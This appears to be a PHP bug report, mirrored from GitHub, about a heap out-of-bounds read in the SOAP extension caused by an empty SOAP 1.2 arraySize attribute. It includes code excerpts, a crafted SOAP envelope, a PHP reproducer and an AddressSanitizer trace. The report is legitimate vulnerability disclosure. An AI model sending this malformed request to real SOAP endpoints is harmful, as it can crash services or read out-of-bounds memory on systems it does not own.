php / php/php-src

ext/soap: heap out-of-bounds read while decoding a SOAP 1.2 array with an empty `arraySize`

Abierto
#22,887 0 comentarios 1 reacción 1 asignado Ver en GitHub

@devnexen ya está trabajando en esto.

Desde el 25/7/2026.

  • #22888 de @devnexen — abierto
Bug Extension: soap Status: Verified
Lenguaje dominante
C
Estrellas
40.4k
Forks
8.1k
Merge medio
2 d 13 h
PR fusionados (30 d)
96

Descripción

Summary

PHP's bundled SOAP extension accepts an attacker-controlled SOAP 1.2
enc:arraySize attribute while decoding an encoded array. An empty value makes
the dimension parser return zero; the decoder subsequently allocates a
zero-length position vector and reads pos[0] for the first array item.

AddressSanitizer reports a four-byte heap out-of-bounds read in
to_zval_array(). The malformed value is protocol data in a SOAP request or
reply.

Details
  • Affected component: bundled ext/soap in PHP 8.4.20
  • Affected entry points: SoapServer::handle() decoding a SOAP 1.2
    request, and SoapClient decoding a SOAP 1.2 response
  • Affected source: https://github.com/php/php-src, PHP 8.4.20;
    ext/soap/php_encoding.c
  • Root cause: calc_dimension_12() accepts an empty arraySize as zero
    dimensions, but to_zval_array() subsequently indexes the corresponding
    zero-length pos allocation.
  • Trigger condition: a SOAP 1.2 encoded array has
    enc:arraySize="" and contains at least one XML element.

calc_dimension_12() counts runs of decimal digits or * characters. An
empty string enters neither loop and returns its initial value of zero:

/* ext/soap/php_encoding.c */
static int calc_dimension_12(const char *str)
{
    int i = 0, flag = 0;

    while (*str != '\0' && (*str < '0' || *str > '9') && (*str != '*')) {
        str++;
    }
    if (*str == '*') {
        i++;
        str++;
    }
    while (*str != '\0') {
        if (*str >= '0' && *str <= '9') {
            if (flag == 0) {
                i++;
                flag = 1;
            }
        } else if (*str == '*') {
            soap_error0(E_ERROR, "Encoding: '*' may only be first arraySize value in list");
        } else {
            flag = 0;
        }
        str++;
    }
    return i;
}

The SOAP 1.2 array path trusts that result. get_position_12() and the later
pos allocation both receive dimension == 0. The loop for intermediate
arrays is skipped, leaving i == 0, and the first child is inserted using
pos[i]:

/* ext/soap/php_encoding.c, to_zval_array() */
dimension = calc_dimension_12((char *) attr->children->content);
dims = get_position_12(dimension, (char *) attr->children->content);

/* ... */
pos = safe_emalloc(sizeof(int), dimension, 0);
memset(pos, 0, sizeof(int) * dimension);

/* ... first XML child ... */
i = 0;
ar = ret;
while (i < dimension - 1) {
    /* skipped when dimension is zero */
}
zend_hash_index_update(Z_ARRVAL_P(ar), pos[i], &tmpVal);

The public request path is a normal SOAP server receiving raw request XML:

<?php
function sink($value = null): void {}

$server = new SoapServer(null, ['uri' => 'urn:x', 'soap_version' => SOAP_1_2]);
$server->addFunction('sink');
$server->handle(); // Parses the HTTP request body supplied by the peer.

An untrusted peer needs only to send the following SOAP body to that endpoint:

<?xml version="1.0"?>
<SOAP-ENV:Envelope
 xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"
 xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"
 xmlns:m="urn:x">
  <SOAP-ENV:Body>
    <m:sink><x SOAP-ENC:arraySize=""><i>abc</i></x></m:sink>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

The same native decoder is used when SoapClient processes a SOAP 1.2 reply
from a remote endpoint. The included CLI program is the retained ASan trigger;
it embeds the request body solely to make the recorded reproducer
self-contained.

PoC
Environment and configuration
  • PHP: PHP 8.4.20 CLI, NTS, DEBUG; built 2026-06-02
  • PHP source revision: PHP 8.4.20 source tree. The original build did not
    retain a git commit identifier.
  • PHP configure options:
PKG_CONFIG_PATH=/opt/openssl-3.2/lib64/pkgconfig \
./configure \
  --enable-soap --enable-mbstring --enable-debug --disable-cgi \
  --disable-phpdbg --enable-ftp --with-gmp --enable-intl --with-ldap \
  --with-xsl --with-zip --with-zlib --with-openssl=/opt/openssl-3.2 \
  --with-openssl-argon2 --enable-mysqlnd --with-mysqli=mysqlnd \
  --with-pdo-mysql=mysqlnd --with-unixODBC=/usr \
  --with-pdo-odbc=unixODBC,/usr --with-pdo-dblib --enable-pcntl \
  --enable-shmop --enable-sysvmsg --enable-sysvsem --enable-sysvshm \
  --enable-sockets --enable-opcache --with-sodium --with-readline \
  --with-tidy --with-snmp --with-pgsql --with-pdo-pgsql \
  --with-pdo-firebird=/usr --enable-zend-test
  • PHP compiler/linker flags:
CFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
CXXFLAGS=-fsanitize=address,undefined -fno-omit-frame-pointer -g -O0
LDFLAGS=-fsanitize=address,undefined -L/opt/openssl-3.2/lib64 -Wl,-rpath,/opt/openssl-3.2/lib64
  • Extension: bundled ext/soap, enabled with --enable-soap; no separate
    PECL module is loaded.
  • Sanitizer runtime: USE_ZEND_ALLOC=0,
    ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1, and
    UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1. The recorded invocation
    also set LD_LIBRARY_PATH=/opt/openssl-3.2/lib64.
Reproducer
<?php

function sink($value = null): void
{
}

function envelope(string $parameter): string
{
    return '<?xml version="1.0"?>'
        . '<SOAP-ENV:Envelope'
        . ' xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"'
        . ' xmlns:SOAP-ENC="http://www.w3.org/2003/05/soap-encoding"'
        . ' xmlns:m="urn:x">'
        . '<SOAP-ENV:Body><m:sink>' . $parameter . '</m:sink></SOAP-ENV:Body>'
        . '</SOAP-ENV:Envelope>';
}

$server = new SoapServer(null, [
    'uri' => 'urn:x',
    'soap_version' => SOAP_1_2,
]);
$server->addFunction('sink');

$server->handle(envelope('<x SOAP-ENC:arraySize=""><i>abc</i></x>'));
docker exec php-asan-8420 env \
  LD_LIBRARY_PATH=/opt/openssl-3.2/lib64 \
  USE_ZEND_ALLOC=0 \
  ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:abort_on_error=1 \
  UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1 \
  /src/php/sapi/cli/php /tmp/soap-array-size-oob.php
Sanitizer report

The retained sanitizer evidence reports the following access for the empty
arraySize server trigger:

=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 4
    #0 to_zval_array /src/php/ext/soap/php_encoding.c:2695
    #1 master_to_zval_int /src/php/ext/soap/php_encoding.c:563
    #2 parse_packet_soap /src/php/ext/soap/php_packet_soap.c:350
...
0 bytes to the right of 1-byte region
allocated by safe_emalloc at to_zval_array:2650

The original evidence retained the relevant ASan frames and allocation context
above, but not the complete unabridged process log. No claim below relies on
information absent from that captured evidence.

PHP Version
PHP 8.4.20
Operating System

No response

Guía de contribución

Abrir la guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.